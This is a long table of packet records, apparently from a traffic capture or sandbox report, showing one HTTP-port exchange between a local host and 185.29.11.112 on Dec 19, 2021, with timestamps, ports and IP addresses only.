Dec 19, 2021 21:13:25.828727007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.828728914 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.828766108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.828779936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.828805923 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.828845024 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.828855038 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.829835892 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.848489046 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848689079 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848730087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848767042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848807096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848814964 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.848855019 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.848862886 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848912001 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.848920107 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.848923922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.848978043 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.849014044 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.849052906 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.849092960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.849199057 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.850702047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.850742102 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.850785017 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.850825071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.850862026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.850867033 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.850877047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.850900888 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.851361036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.851377964 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.851691008 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.851730108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.851768970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.851802111 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.851869106 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.851914883 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.852061987 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.852297068 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.852338076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.852426052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.852467060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.852468967 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.852477074 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.852507114 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.852574110 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.852585077 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.853223085 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853265047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853303909 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853342056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853379965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853418112 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853447914 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853471041 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.853487015 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853492022 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.853527069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.853790998 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.854475975 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.873723030 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873780012 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873811007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873840094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873871088 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873912096 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873954058 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.873995066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874032021 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874049902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874072075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874073029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874080896 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874089003 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874108076 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874344110 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874761105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874803066 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874840975 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.874901056 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.874919891 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.875111103 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.875152111 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.875209093 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.875361919 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.875674009 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876679897 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876773119 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876811028 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876877069 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876919031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876955986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.876996040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877036095 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877074003 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877094984 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.877108097 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.877115965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877136946 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.877145052 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.877156019 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877209902 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877243996 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.877259970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.877398968 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.878103018 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.878142118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.878180981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.878218889 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.878257036 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.878323078 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.878340960 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898369074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898415089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898446083 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898478031 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898531914 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898540020 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898566961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898583889 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898642063 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898644924 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898686886 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898689985 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898726940 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898741961 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898766994 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.898796082 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898849010 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.898857117 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.899367094 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899409056 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899447918 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899508953 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899517059 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.899523973 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.899581909 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899621964 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.899708986 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.899729013 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.900598049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.900640965 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.900679111 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.900743008 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.900768995 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.900774956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.901595116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901635885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901678085 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901715040 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901753902 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901822090 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.901830912 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901871920 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901889086 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.901911020 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901951075 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901988983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.901998997 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.902029037 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902067900 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902106047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902120113 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.902147055 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902285099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902345896 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.902374983 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.902416945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.906481981 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.922559977 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922610044 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922637939 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.922651052 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922691107 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922718048 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.922722101 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922763109 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922800064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922838926 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922873020 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.922877073 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.922882080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.922915936 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923285007 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923324108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923362970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923402071 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923438072 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.923438072 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.923446894 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.923480034 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.924454927 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.924458981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.924504042 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.924556971 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.924652100 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.924673080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926080942 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926122904 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926160097 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926198959 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926238060 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926239014 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926249027 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926275969 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926316023 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926322937 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926326036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926383972 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926424026 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926454067 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926472902 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926484108 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926497936 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926522970 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926548004 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926564932 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926604986 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926641941 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926650047 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.926651955 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926676989 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.926733971 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.930778027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.930819035 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.930856943 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.930885077 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.930893898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.930897951 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.931205988 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947293997 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947335958 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947374105 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947412014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947453022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947458982 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947493076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947505951 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947535038 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947563887 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947572947 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947594881 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947669029 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947705984 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947746992 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947762966 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947776079 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947784901 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947824955 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947825909 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947870016 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947876930 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.947963953 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.947974920 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.948177099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948229074 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948267937 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948303938 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.948308945 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948348045 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.948348045 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948388100 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.948431969 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.948559046 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950362921 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950421095 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950472116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950486898 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950515985 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950555086 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950562000 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950571060 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950587988 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950594902 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950647116 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950684071 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950691938 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950705051 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950731993 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950742960 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950784922 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950784922 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950809956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950824976 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950862885 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950925112 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.950963020 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950972080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.950977087 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.951009989 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.951483011 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.954946995 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.954994917 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.955033064 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.955051899 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.955073118 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.955111027 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.955126047 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.955163956 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.955215931 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972131014 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972173929 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972212076 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972253084 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972290039 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972300053 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972305059 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972345114 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972383022 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972420931 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972430944 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972434998 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972486973 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972523928 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972528934 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972531080 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972567081 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972608089 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972611904 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972647905 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972683907 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972685099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972695112 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972738981 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972779036 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972786903 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972789049 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972791910 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972829103 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972896099 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.972904921 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972914934 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.972935915 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.973041058 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.973047972 CET	49789	80	192.168.2.3	185.29.11.112
Dec 19, 2021 21:13:25.974782944 CET	80	49789	185.29.11.112	192.168.2.3
Dec 19, 2021 21:13:25.974824905 CET	80	49789	185.29.11.112	192.168.2.3
